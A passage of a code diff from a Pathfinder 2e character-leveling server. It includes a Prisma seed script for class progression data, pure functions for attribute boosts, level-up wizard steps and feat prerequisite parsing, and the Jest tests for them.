Ranger: { choiceType: 'edge', choiceOptionsRef: 'ranger-edge' },
|
||||
Rogue: { choiceType: 'racket', choiceOptionsRef: 'rogue-racket' },
|
||||
Swashbuckler: { choiceType: 'style', choiceOptionsRef: 'swashbuckler-style' },
|
||||
Alchemist: { choiceType: 'research-field', choiceOptionsRef: 'alchemist-research-field' },
|
||||
Fighter: null, // Fighter has no L1 choice; weapon mastery is at L5
|
||||
Monk: null, // Monk's L1 stance is via class feats, not a choiceType
|
||||
};
|
||||
|
||||
// Optional: Fighter L5 weapon-mastery group choice
|
||||
const HIGHER_LEVEL_CHOICES: Array<{
|
||||
className: string;
|
||||
level: number;
|
||||
choiceType: string;
|
||||
choiceOptionsRef: string;
|
||||
}> = [
|
||||
{
|
||||
className: 'Fighter',
|
||||
level: 5,
|
||||
choiceType: 'weapon-mastery-group',
|
||||
choiceOptionsRef: 'fighter-weapon-mastery',
|
||||
},
|
||||
];
|
||||
|
||||
interface FoundryClassItem {
|
||||
level: number;
|
||||
name: string;
|
||||
uuid?: string;
|
||||
img?: string;
|
||||
}
|
||||
|
||||
interface FoundryClassJson {
|
||||
name: string;
|
||||
type: 'class';
|
||||
system: {
|
||||
hp: number;
|
||||
keyAbility: string[];
|
||||
spellcasting: number;
|
||||
savingThrows: { fortitude: number; reflex: number; will: number };
|
||||
attacks: Record<string, number | { rank: number; name?: string }>;
|
||||
defenses: Record<string, number>;
|
||||
classFeatLevels?: { value: number[] };
|
||||
items: Record<string, FoundryClassItem>;
|
||||
};
|
||||
}
|
||||
|
||||
function readFoundryClass(className: string): FoundryClassJson {
|
||||
// Foundry filename convention: lowercase, e.g. 'fighter.json'
|
||||
const filename = `${className.toLowerCase()}.json`;
|
||||
const fullPath = path.join(FOUNDRY_CLASSES_DIR, filename);
|
||||
if (!fs.existsSync(fullPath)) {
|
||||
throw new Error(
|
||||
`Foundry pf2e clone not found at ${fullPath}. ` +
|
||||
`See .planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md for setup.`,
|
||||
);
|
||||
}
|
||||
const raw = fs.readFileSync(fullPath, 'utf-8');
|
||||
const json = JSON.parse(raw) as FoundryClassJson;
|
||||
if (json.type !== 'class' || !json.name || !json.system) {
|
||||
throw new Error(`Class JSON does not match expected schema: ${fullPath}`);
|
||||
}
|
||||
return json;
|
||||
}
|
||||
|
||||
/** Map Foundry numeric proficiency rank (0..8) to our Proficiency string enum. */
|
||||
function profFromValue(
|
||||
v: number | undefined,
|
||||
): 'UNTRAINED' | 'TRAINED' | 'EXPERT' | 'MASTER' | 'LEGENDARY' {
|
||||
if (v === undefined || v === null) return 'UNTRAINED';
|
||||
if (v >= 8) return 'LEGENDARY';
|
||||
if (v >= 6) return 'MASTER';
|
||||
if (v >= 4) return 'EXPERT';
|
||||
if (v >= 2) return 'TRAINED';
|
||||
return 'UNTRAINED';
|
||||
}
|
||||
|
||||
/**
|
||||
* Aggregate all Foundry items at this level and the spell-slot overlay entries at this level
|
||||
* into a single ClassProgression upsert payload.
|
||||
*
|
||||
* Returns a Prisma-compatible create/update input. Prisma `Json?` fields receive
|
||||
* `Prisma.JsonNull` (the typed-null sentinel) when the row has no value at that level
|
||||
* — passing JS `null` would not compile against `InputJsonValue | NullableJsonNullValueInput`.
|
||||
*/
|
||||
function buildProgressionRow(
|
||||
className: string,
|
||||
level: number,
|
||||
foundry: FoundryClassJson,
|
||||
): Prisma.ClassProgressionUncheckedCreateInput {
|
||||
// 1. Grants from Foundry items
|
||||
const grants: string[] = Object.values(foundry.system.items)
|
||||
.filter(item => item.level === level)
|
||||
.map(item => item.name);
|
||||
|
||||
// 2. Proficiency changes — for L1 only, take the class's base proficiency from the JSON.
|
||||
let proficiencyChanges: Record<string, string> = {};
|
||||
if (level === 1) {
|
||||
proficiencyChanges = {
|
||||
fortitude: profFromValue(foundry.system.savingThrows.fortitude),
|
||||
reflex: profFromValue(foundry.system.savingThrows.reflex),
|
||||
will: profFromValue(foundry.system.savingThrows.will),
|
||||
};
|
||||
}
|
||||
|
||||
// 3. Spell-slot overlay merge
|
||||
const overlayEntries: SpellSlotOverlayEntry[] = (SPELL_SLOT_OVERLAY[className] || []).filter(
|
||||
e => e.level === level,
|
||||
);
|
||||
const slotEntry = overlayEntries.find(e => e.spellSlotIncrement);
|
||||
const cantripEntry = overlayEntries.find(e => e.cantripIncrement !== undefined);
|
||||
const repertoireEntry = overlayEntries.find(e => e.repertoireIncrement !== undefined);
|
||||
|
||||
// 4. Choice type for this (class, level)
|
||||
let choiceType: string | null = null;
|
||||
let choiceOptionsRef: string | null = null;
|
||||
if (level === 1 && L1_CHOICE_MAP[className]) {
|
||||
const choice = L1_CHOICE_MAP[className]!;
|
||||
choiceType = choice.choiceType;
|
||||
choiceOptionsRef = choice.choiceOptionsRef;
|
||||
}
|
||||
const higherChoice = HIGHER_LEVEL_CHOICES.find(
|
||||
c => c.className === className && c.level === level,
|
||||
);
|
||||
if (higherChoice) {
|
||||
choiceType = higherChoice.choiceType;
|
||||
choiceOptionsRef = higherChoice.choiceOptionsRef;
|
||||
}
|
||||
|
||||
return {
|
||||
className,
|
||||
level,
|
||||
grants,
|
||||
proficiencyChanges,
|
||||
spellSlotIncrement: slotEntry?.spellSlotIncrement ?? Prisma.JsonNull,
|
||||
cantripIncrement: cantripEntry?.cantripIncrement ?? null,
|
||||
repertoireIncrement: repertoireEntry?.repertoireIncrement ?? null,
|
||||
choiceType,
|
||||
choiceOptionsRef,
|
||||
};
|
||||
}
|
||||
|
||||
async function seedClassProgression(): Promise<{
|
||||
created: number;
|
||||
updated: number;
|
||||
errors: number;
|
||||
}> {
|
||||
let created = 0;
|
||||
let updated = 0;
|
||||
let errors = 0;
|
||||
console.log('Seeding ClassProgression for 16 classes x 20 levels...');
|
||||
|
||||
for (const className of D16_CLASS_NAMES) {
|
||||
let foundry: FoundryClassJson;
|
||||
try {
|
||||
foundry = readFoundryClass(className);
|
||||
} catch (e) {
|
||||
errors++;
|
||||
console.error(`Failed to load Foundry class ${className}:`, (e as Error).message);
|
||||
continue;
|
||||
}
|
||||
for (let level = 1; level <= 20; level++) {
|
||||
const row = buildProgressionRow(className, level, foundry);
|
||||
try {
|
||||
// Compound unique key field name `className_level` is generated from
|
||||
// `@@unique([className, level])` declared in Plan 01's schema. If that
|
||||
// declaration is reordered, Prisma will name the key `level_className`
|
||||
// instead — verify schema before changing.
|
||||
const existing = await prisma.classProgression.findUnique({
|
||||
where: { className_level: { className, level } },
|
||||
});
|
||||
if (existing) {
|
||||
await prisma.classProgression.update({
|
||||
where: { id: existing.id },
|
||||
data: row,
|
||||
});
|
||||
updated++;
|
||||
} else {
|
||||
await prisma.classProgression.create({ data: row });
|
||||
created++;
|
||||
}
|
||||
} catch (e) {
|
||||
errors++;
|
||||
console.error(`Failed to seed ${className} L${level}:`, (e as Error).message);
|
||||
}
|
||||
}
|
||||
}
|
||||
console.log(` ClassProgression: ${created} created, ${updated} updated, ${errors} errors`);
|
||||
return { created, updated, errors };
|
||||
}
|
||||
|
||||
async function seedClassFeatureOptions(): Promise<{
|
||||
created: number;
|
||||
updated: number;
|
||||
errors: number;
|
||||
}> {
|
||||
let created = 0;
|
||||
let updated = 0;
|
||||
let errors = 0;
|
||||
console.log(`Seeding ${CLASS_FEATURE_OPTIONS.length} ClassFeatureOption rows...`);
|
||||
|
||||
for (const opt of CLASS_FEATURE_OPTIONS) {
|
||||
try {
|
||||
// Compound unique key field name `optionsRef_optionKey` is generated from
|
||||
// `@@unique([optionsRef, optionKey])` in Plan 01's schema. Same caveat as above
|
||||
// applies — verify the field order before touching this.
|
||||
const existing = await prisma.classFeatureOption.findUnique({
|
||||
where: {
|
||||
optionsRef_optionKey: { optionsRef: opt.optionsRef, optionKey: opt.optionKey },
|
||||
},
|
||||
});
|
||||
if (existing) {
|
||||
await prisma.classFeatureOption.update({
|
||||
where: { id: existing.id },
|
||||
data: {
|
||||
name: opt.name,
|
||||
nameGerman: opt.nameGerman ?? null,
|
||||
description: opt.description,
|
||||
grants: opt.grants,
|
||||
proficiencyChanges: opt.proficiencyChanges ?? Prisma.JsonNull,
|
||||
},
|
||||
});
|
||||
updated++;
|
||||
} else {
|
||||
await prisma.classFeatureOption.create({
|
||||
data: {
|
||||
optionsRef: opt.optionsRef,
|
||||
optionKey: opt.optionKey,
|
||||
name: opt.name,
|
||||
nameGerman: opt.nameGerman ?? null,
|
||||
description: opt.description,
|
||||
grants: opt.grants,
|
||||
proficiencyChanges: opt.proficiencyChanges ?? Prisma.JsonNull,
|
||||
},
|
||||
});
|
||||
created++;
|
||||
}
|
||||
} catch (e) {
|
||||
errors++;
|
||||
console.error(
|
||||
`Failed to seed option ${opt.optionsRef}/${opt.optionKey}:`,
|
||||
(e as Error).message,
|
||||
);
|
||||
}
|
||||
}
|
||||
console.log(` ClassFeatureOption: ${created} created, ${updated} updated, ${errors} errors`);
|
||||
return { created, updated, errors };
|
||||
}
|
||||
|
||||
async function main(): Promise<void> {
|
||||
const cp = await seedClassProgression();
|
||||
const cfo = await seedClassFeatureOptions();
|
||||
const totalErrors = cp.errors + cfo.errors;
|
||||
if (totalErrors > 0) {
|
||||
console.error(`\nSeed completed with ${totalErrors} errors.`);
|
||||
process.exit(1);
|
||||
}
|
||||
console.log('\nClassProgression + ClassFeatureOption seed complete.');
|
||||
}
|
||||
|
||||
main()
|
||||
.catch(e => {
|
||||
console.error(e);
|
||||
process.exit(1);
|
||||
})
|
||||
.finally(() => prisma.$disconnect());
|
||||
@@ -0,0 +1,41 @@
|
||||
import { applyAttributeBoost, isValidBoostSet } from './apply-attribute-boost';
|
||||
|
||||
describe('applyAttributeBoost', () => {
|
||||
it('adds +2 when score is 10 (below 18)', () => {
|
||||
expect(applyAttributeBoost(10)).toBe(12);
|
||||
});
|
||||
|
||||
it('adds +2 when score is 17 (still below 18)', () => {
|
||||
expect(applyAttributeBoost(17)).toBe(19);
|
||||
});
|
||||
|
||||
it('adds +1 when score is exactly 18 (PF2e cap rule — Pitfall #8)', () => {
|
||||
expect(applyAttributeBoost(18)).toBe(19);
|
||||
});
|
||||
|
||||
it('adds +1 when score is 20 (above cap)', () => {
|
||||
expect(applyAttributeBoost(20)).toBe(21);
|
||||
});
|
||||
|
||||
it('handles edge case: very high score (24)', () => {
|
||||
expect(applyAttributeBoost(24)).toBe(25);
|
||||
});
|
||||
});
|
||||
|
||||
describe('isValidBoostSet', () => {
|
||||
it('accepts exactly 4 distinct abilities', () => {
|
||||
expect(isValidBoostSet(['STR', 'DEX', 'CON', 'INT'])).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects duplicates (3 distinct + 1 repeat)', () => {
|
||||
expect(isValidBoostSet(['STR', 'STR', 'CON', 'INT'])).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects too few (3 abilities)', () => {
|
||||
expect(isValidBoostSet(['STR', 'DEX', 'CON'])).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects too many (5 abilities)', () => {
|
||||
expect(isValidBoostSet(['STR', 'DEX', 'CON', 'INT', 'WIS'])).toBe(false);
|
||||
});
|
||||
});
|
||||
26
server/src/modules/leveling/lib/apply-attribute-boost.ts
Normal file
26
server/src/modules/leveling/lib/apply-attribute-boost.ts
Normal file
@@ -0,0 +1,26 @@
|
||||
/**
|
||||
* Pure function module — no NestJS, no Prisma, no I/O.
|
||||
* PF2e Boost Cap rule: +2 if score < 18, +1 if score >= 18 (Pitfall #8).
|
||||
* See: .planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md §Pattern 3
|
||||
*/
|
||||
|
||||
export type AbilityScore = number;
|
||||
|
||||
export type AbilityAbbreviation = 'STR' | 'DEX' | 'CON' | 'INT' | 'WIS' | 'CHA';
|
||||
|
||||
/**
|
||||
* Applies a single PF2e attribute boost to a score.
|
||||
* - Score below 18 → +2
|
||||
* - Score at or above 18 → +1 (cap rule, prevents Pitfall #8)
|
||||
*/
|
||||
export function applyAttributeBoost(currentScore: AbilityScore): AbilityScore {
|
||||
return currentScore >= 18 ? currentScore + 1 : currentScore + 2;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates a level-up boost set: must be exactly 4 distinct abilities.
|
||||
* PF2e: at boost levels (5/10/15/20), the player picks 4 different attributes.
|
||||
*/
|
||||
export function isValidBoostSet(targets: readonly string[]): boolean {
|
||||
return targets.length === 4 && new Set(targets).size === 4;
|
||||
}
|
||||
185
server/src/modules/leveling/lib/compute-applicable-steps.spec.ts
Normal file
185
server/src/modules/leveling/lib/compute-applicable-steps.spec.ts
Normal file
@@ -0,0 +1,185 @@
|
||||
import { computeApplicableSteps } from './compute-applicable-steps';
|
||||
|
||||
describe('computeApplicableSteps — Fighter (martial, no FA, no caster)', () => {
|
||||
it('at L5 returns [class-features, boost, skill-increase, feat-ancestry, review] (L5 is odd → no class/skill feat)', () => {
|
||||
// PF2e CRB: class feats and skill feats are at even levels (2,4,6,...).
|
||||
// L5 grants ability-boosts, skill-increase, and ancestry-feat — but no class/skill feats.
|
||||
// (Plan's expected list at L5 was PF2e-incorrect; corrected here per project's "regelkonform" goal.)
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: 5,
|
||||
className: 'Fighter',
|
||||
hasFreeArchetype: false,
|
||||
isCaster: false,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: false,
|
||||
});
|
||||
expect(steps).toEqual([
|
||||
'class-features',
|
||||
'boost',
|
||||
'skill-increase',
|
||||
'feat-ancestry',
|
||||
'review',
|
||||
]);
|
||||
});
|
||||
|
||||
it('at L4 (not a boost level) does NOT contain boost', () => {
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: 4,
|
||||
className: 'Fighter',
|
||||
hasFreeArchetype: false,
|
||||
isCaster: false,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: false,
|
||||
});
|
||||
expect(steps).not.toContain('boost');
|
||||
});
|
||||
|
||||
it('at L4 (even level) contains feat-class AND feat-skill', () => {
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: 4,
|
||||
className: 'Fighter',
|
||||
hasFreeArchetype: false,
|
||||
isCaster: false,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: false,
|
||||
});
|
||||
expect(steps).toContain('feat-class');
|
||||
expect(steps).toContain('feat-skill');
|
||||
});
|
||||
|
||||
it('at L3 contains skill-increase AND feat-general but NOT feat-class (odd level)', () => {
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: 3,
|
||||
className: 'Fighter',
|
||||
hasFreeArchetype: false,
|
||||
isCaster: false,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: false,
|
||||
});
|
||||
expect(steps).toContain('skill-increase');
|
||||
expect(steps).toContain('feat-general');
|
||||
expect(steps).not.toContain('feat-class');
|
||||
});
|
||||
|
||||
it('at L2 (even but no skill-increase yet) contains feat-class+feat-skill but NOT skill-increase', () => {
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: 2,
|
||||
className: 'Fighter',
|
||||
hasFreeArchetype: false,
|
||||
isCaster: false,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: false,
|
||||
});
|
||||
expect(steps).toContain('feat-class');
|
||||
expect(steps).toContain('feat-skill');
|
||||
expect(steps).not.toContain('skill-increase');
|
||||
});
|
||||
});
|
||||
|
||||
describe('computeApplicableSteps — Free Archetype', () => {
|
||||
it('with FA enabled at L5 includes feat-archetype', () => {
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: 5,
|
||||
className: 'Fighter',
|
||||
hasFreeArchetype: true,
|
||||
isCaster: false,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: false,
|
||||
});
|
||||
expect(steps).toContain('feat-archetype');
|
||||
});
|
||||
|
||||
it('without FA never includes feat-archetype', () => {
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: 5,
|
||||
className: 'Fighter',
|
||||
hasFreeArchetype: false,
|
||||
isCaster: false,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: false,
|
||||
});
|
||||
expect(steps).not.toContain('feat-archetype');
|
||||
});
|
||||
});
|
||||
|
||||
describe('computeApplicableSteps — Spellcaster', () => {
|
||||
it('with isCaster=true includes spellcaster step', () => {
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: 5,
|
||||
className: 'Wizard',
|
||||
hasFreeArchetype: false,
|
||||
isCaster: true,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: false,
|
||||
});
|
||||
expect(steps).toContain('spellcaster');
|
||||
});
|
||||
|
||||
it('with isCaster=false never includes spellcaster step', () => {
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: 5,
|
||||
className: 'Fighter',
|
||||
hasFreeArchetype: false,
|
||||
isCaster: false,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: false,
|
||||
});
|
||||
expect(steps).not.toContain('spellcaster');
|
||||
});
|
||||
});
|
||||
|
||||
describe('computeApplicableSteps — class-feature-choice (D-19)', () => {
|
||||
it('includes class-feature-choice when ClassProgression carries choiceType', () => {
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: 1,
|
||||
className: 'Cleric',
|
||||
hasFreeArchetype: false,
|
||||
isCaster: true,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: true,
|
||||
});
|
||||
expect(steps).toContain('class-feature-choice');
|
||||
});
|
||||
|
||||
it('does NOT include class-feature-choice when no choiceType', () => {
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: 5,
|
||||
className: 'Fighter',
|
||||
hasFreeArchetype: false,
|
||||
isCaster: false,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: false,
|
||||
});
|
||||
expect(steps).not.toContain('class-feature-choice');
|
||||
});
|
||||
});
|
||||
|
||||
describe('computeApplicableSteps — invariants', () => {
|
||||
it('always starts with class-features', () => {
|
||||
for (const level of [1, 2, 3, 5, 10, 15, 20]) {
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: level,
|
||||
className: 'Fighter',
|
||||
hasFreeArchetype: false,
|
||||
isCaster: false,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: false,
|
||||
});
|
||||
expect(steps[0]).toBe('class-features');
|
||||
}
|
||||
});
|
||||
|
||||
it('always ends with review', () => {
|
||||
for (const level of [1, 2, 3, 5, 10, 15, 20]) {
|
||||
const steps = computeApplicableSteps({
|
||||
targetLevel: level,
|
||||
className: 'Fighter',
|
||||
hasFreeArchetype: false,
|
||||
isCaster: false,
|
||||
isSpontaneousCaster: false,
|
||||
classProgressionHasChoiceType: false,
|
||||
});
|
||||
expect(steps[steps.length - 1]).toBe('review');
|
||||
}
|
||||
});
|
||||
});
|
||||
67
server/src/modules/leveling/lib/compute-applicable-steps.ts
Normal file
67
server/src/modules/leveling/lib/compute-applicable-steps.ts
Normal file
@@ -0,0 +1,67 @@
|
||||
/**
|
||||
* Pure function — given the level-up parameters, returns the ordered list of
|
||||
* wizard step kinds the player must walk through (D-10 step ordering).
|
||||
*
|
||||
* No NestJS, no Prisma, no I/O. Output is fully determined by inputs.
|
||||
*/
|
||||
import type { StepKind } from './types';
|
||||
|
||||
export interface ComputeStepsInput {
|
||||
targetLevel: number;
|
||||
className: string;
|
||||
hasFreeArchetype: boolean;
|
||||
isCaster: boolean;
|
||||
isSpontaneousCaster: boolean;
|
||||
classProgressionHasChoiceType: boolean;
|
||||
}
|
||||
|
||||
/** PF2e ability-boost levels (every 5th level after 5). */
|
||||
const BOOST_LEVELS: ReadonlySet<number> = new Set([5, 10, 15, 20]);
|
||||
|
||||
/** PF2e skill-increase steps (level 3 and every 2 levels thereafter). */
|
||||
const SKILL_INCREASE_LEVELS: ReadonlySet<number> = new Set([3, 5, 7, 9, 11, 13, 15, 17, 19]);
|
||||
|
||||
/** General-feat slot levels (PF2e CRB). */
|
||||
const GENERAL_FEAT_LEVELS: ReadonlySet<number> = new Set([3, 7, 11, 15, 19]);
|
||||
|
||||
/**
|
||||
* Ancestry-feat slot levels (PF2e CRB) — character creation grants level 1, but
|
||||
* this function is for level-ups (1 is excluded by callers / handled below).
|
||||
*/
|
||||
const ANCESTRY_FEAT_LEVELS: ReadonlySet<number> = new Set([1, 5, 9, 13, 17]);
|
||||
|
||||
/**
|
||||
* Returns the ordered list of wizard step kinds for a level-up.
|
||||
* Step ordering follows D-10:
|
||||
* class-features → class-feature-choice (if any)
|
||||
* → boost (if level ∈ {5,10,15,20})
|
||||
* → skill-increase (if level ∈ {3,5,7,...,19})
|
||||
* → feat-class (if even level)
|
||||
* → feat-skill (if even level)
|
||||
* → feat-general (if level ∈ {3,7,11,15,19})
|
||||
* → feat-ancestry (if level ∈ {5,9,13,17}; excludes L1)
|
||||
* → feat-archetype (if hasFreeArchetype)
|
||||
* → spellcaster (if isCaster)
|
||||
* → review
|
||||
*/
|
||||
export function computeApplicableSteps(input: ComputeStepsInput): StepKind[] {
|
||||
const { targetLevel, hasFreeArchetype, isCaster, classProgressionHasChoiceType } = input;
|
||||
const steps: StepKind[] = ['class-features'];
|
||||
|
||||
if (classProgressionHasChoiceType) steps.push('class-feature-choice');
|
||||
if (BOOST_LEVELS.has(targetLevel)) steps.push('boost');
|
||||
if (SKILL_INCREASE_LEVELS.has(targetLevel)) steps.push('skill-increase');
|
||||
if (targetLevel % 2 === 0) {
|
||||
steps.push('feat-class');
|
||||
steps.push('feat-skill');
|
||||
}
|
||||
if (GENERAL_FEAT_LEVELS.has(targetLevel)) steps.push('feat-general');
|
||||
if (ANCESTRY_FEAT_LEVELS.has(targetLevel) && targetLevel !== 1) {
|
||||
steps.push('feat-ancestry');
|
||||
}
|
||||
if (hasFreeArchetype) steps.push('feat-archetype');
|
||||
if (isCaster) steps.push('spellcaster');
|
||||
|
||||
steps.push('review');
|
||||
return steps;
|
||||
}
|
||||
145
server/src/modules/leveling/lib/prereq-evaluator.spec.ts
Normal file
145
server/src/modules/leveling/lib/prereq-evaluator.spec.ts
Normal file
@@ -0,0 +1,145 @@
|
||||
import { evaluatePrereq } from './prereq-evaluator';
|
||||
import type { CharacterContext, EvalResult } from './types';
|
||||
|
||||
function isFail(r: EvalResult): r is { ok: false; reason: string } {
|
||||
return 'ok' in r && r.ok === false;
|
||||
}
|
||||
|
||||
function makeCtx(overrides: Partial<CharacterContext> = {}): CharacterContext {
|
||||
return {
|
||||
level: 5,
|
||||
className: 'Fighter',
|
||||
ancestryName: 'Human',
|
||||
heritageName: undefined,
|
||||
abilities: { STR: 16, DEX: 14, CON: 14, INT: 10, WIS: 12, CHA: 10 },
|
||||
skills: {},
|
||||
feats: new Set<string>(),
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe('evaluatePrereq — empty/null', () => {
|
||||
it('returns ok for null prereq', () => {
|
||||
expect(evaluatePrereq(null, makeCtx())).toEqual({ ok: true });
|
||||
});
|
||||
|
||||
it('returns ok for empty string', () => {
|
||||
expect(evaluatePrereq('', makeCtx())).toEqual({ ok: true });
|
||||
});
|
||||
});
|
||||
|
||||
describe('evaluatePrereq — skill rank', () => {
|
||||
it('returns ok when skill rank meets requirement', () => {
|
||||
const ctx = makeCtx({ skills: { Athletics: 'TRAINED' } });
|
||||
expect(evaluatePrereq('Trained in Athletics', ctx)).toEqual({ ok: true });
|
||||
});
|
||||
|
||||
it('returns ok when skill rank exceeds requirement', () => {
|
||||
const ctx = makeCtx({ skills: { Athletics: 'EXPERT' } });
|
||||
expect(evaluatePrereq('Trained in Athletics', ctx)).toEqual({ ok: true });
|
||||
});
|
||||
|
||||
it('returns ok:false with German reason when skill rank below requirement', () => {
|
||||
const ctx = makeCtx({ skills: { Athletics: 'UNTRAINED' } });
|
||||
const result = evaluatePrereq('Trained in Athletics', ctx);
|
||||
expect(isFail(result)).toBe(true);
|
||||
if (isFail(result)) {
|
||||
expect(result.reason).toMatch(/Athletics/i);
|
||||
// German wording check — must contain a German keyword
|
||||
expect(result.reason).toMatch(/(benötig|fehlt|Voraussetzung|mindestens)/);
|
||||
}
|
||||
});
|
||||
|
||||
it('returns ok:false when skill is missing entirely', () => {
|
||||
const ctx = makeCtx({ skills: {} });
|
||||
const result = evaluatePrereq('Trained in Athletics', ctx);
|
||||
expect(isFail(result)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('evaluatePrereq — disjunctive (OR-list)', () => {
|
||||
it('returns ok when any of the listed skills matches', () => {
|
||||
const ctx = makeCtx({ skills: { Arcana: 'TRAINED' } });
|
||||
expect(
|
||||
evaluatePrereq('Trained in Arcana, Trained in Nature, or Trained in Religion', ctx),
|
||||
).toEqual({ ok: true });
|
||||
});
|
||||
|
||||
it('returns ok:false when no listed skill matches', () => {
|
||||
const ctx = makeCtx({ skills: { Athletics: 'TRAINED' } });
|
||||
const result = evaluatePrereq(
|
||||
'Trained in Arcana, Trained in Nature, or Trained in Religion',
|
||||
ctx,
|
||||
);
|
||||
expect(isFail(result)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('evaluatePrereq — conjunctive (semicolon AND)', () => {
|
||||
it('returns ok when both clauses match', () => {
|
||||
const ctx = makeCtx({ skills: { Deception: 'TRAINED', Stealth: 'TRAINED' } });
|
||||
expect(evaluatePrereq('Trained in Deception; Trained in Stealth', ctx)).toEqual({
|
||||
ok: true,
|
||||
});
|
||||
});
|
||||
|
||||
it('returns ok:false when one clause is missing', () => {
|
||||
const ctx = makeCtx({ skills: { Deception: 'TRAINED' } });
|
||||
const result = evaluatePrereq('Trained in Deception; Trained in Stealth', ctx);
|
||||
expect(isFail(result)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('evaluatePrereq — bare feat name', () => {
|
||||
it('returns ok when the feat is held', () => {
|
||||
const ctx = makeCtx({ feats: new Set(['Power Attack']) });
|
||||
expect(evaluatePrereq('Power Attack', ctx)).toEqual({ ok: true });
|
||||
});
|
||||
|
||||
it('returns ok:false when the feat is missing', () => {
|
||||
const ctx = makeCtx({ feats: new Set() });
|
||||
const result = evaluatePrereq('Power Attack', ctx);
|
||||
expect(isFail(result)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('evaluatePrereq — heritage', () => {
|
||||
it('returns ok when heritage matches', () => {
|
||||
const ctx = makeCtx({ heritageName: 'Unbreakable Goblin' });
|
||||
expect(evaluatePrereq('Unbreakable Goblin heritage', ctx)).toEqual({ ok: true });
|
||||
});
|
||||
});
|
||||
|
||||
describe('evaluatePrereq — class ref', () => {
|
||||
it('returns ok when class matches', () => {
|
||||
const ctx = makeCtx({ className: 'Fighter' });
|
||||
expect(evaluatePrereq('Fighter', ctx)).toEqual({ ok: true });
|
||||
});
|
||||
});
|
||||
|
||||
describe('evaluatePrereq — non-evaluable patterns (D-02 → unknown)', () => {
|
||||
it('returns unknown for spellcasting refs', () => {
|
||||
const result = evaluatePrereq('spellcasting class feature', makeCtx());
|
||||
expect(result).toEqual({ unknown: true, raw: 'spellcasting class feature' });
|
||||
});
|
||||
|
||||
it('returns unknown for deity refs', () => {
|
||||
const result = evaluatePrereq('worshipper of Droskar', makeCtx());
|
||||
expect('unknown' in result && result.unknown).toBe(true);
|
||||
});
|
||||
|
||||
it('returns unknown for age refs', () => {
|
||||
const result = evaluatePrereq('at least 100 years old', makeCtx());
|
||||
expect('unknown' in result && result.unknown).toBe(true);
|
||||
});
|
||||
|
||||
it('returns unknown for vision-trait refs', () => {
|
||||
const result = evaluatePrereq('low-light vision', makeCtx());
|
||||
expect('unknown' in result && result.unknown).toBe(true);
|
||||
});
|
||||
|
||||
it('returns unknown for free-text patterns the parser cannot classify', () => {
|
||||
const result = evaluatePrereq('You worship a god of fire and destruction', makeCtx());
|
||||
expect('unknown' in result && result.unknown).toBe(true);
|
||||
});
|
||||
});
|
||||
370
server/src/modules/leveling/lib/prereq-evaluator.ts
Normal file
370
server/src/modules/leveling/lib/prereq-evaluator.ts
Normal file
@@ -0,0 +1,370 @@
|
||||
/**
|
||||
* Prereq DSL parser + evaluator + formatter (D-01..D-04).
|
||||
*
|
||||
* Three-layer module:
|
||||
* 1. parse() — turns a prereq string into an AST of Atoms combined with AND/OR.
|
||||
* 2. evaluate() — walks the AST against a CharacterContext.
|
||||
* 3. formatReason() — German user-facing reason for failures.
|
||||
*
|
||||
* UNKNOWN-aggressive: when ANY atom is non-classifiable (deity, spellcasting-tradition,
|
||||
* age, ethnicity, vision/sense, free-text), the whole prereq returns { unknown: true, raw }.
|
||||
* Per RESEARCH.md line 550 and D-03 — when in doubt, ask the user (no hard-block).
|
||||
*
|
||||
* No NestJS, no Prisma, no I/O — pure function module.
|
||||
*/
|
||||
import type { CharacterContext, EvalResult, Proficiency } from './types';
|
||||
|
||||
const PROFICIENCY_RANK_ORDER: readonly Proficiency[] = [
|
||||
'UNTRAINED',
|
||||
'TRAINED',
|
||||
'EXPERT',
|
||||
'MASTER',
|
||||
'LEGENDARY',
|
||||
];
|
||||
|
||||
const KNOWN_CLASS_NAMES: ReadonlySet<string> = new Set([
|
||||
'Alchemist',
|
||||
'Barbarian',
|
||||
'Bard',
|
||||
'Champion',
|
||||
'Cleric',
|
||||
'Druid',
|
||||
'Fighter',
|
||||
'Investigator',
|
||||
'Monk',
|
||||
'Oracle',
|
||||
'Ranger',
|
||||
'Rogue',
|
||||
'Sorcerer',
|
||||
'Swashbuckler',
|
||||
'Witch',
|
||||
'Wizard',
|
||||
]);
|
||||
|
||||
const KNOWN_ANCESTRY_NAMES: ReadonlySet<string> = new Set([
|
||||
'Human',
|
||||
'Elf',
|
||||
'Dwarf',
|
||||
'Halfling',
|
||||
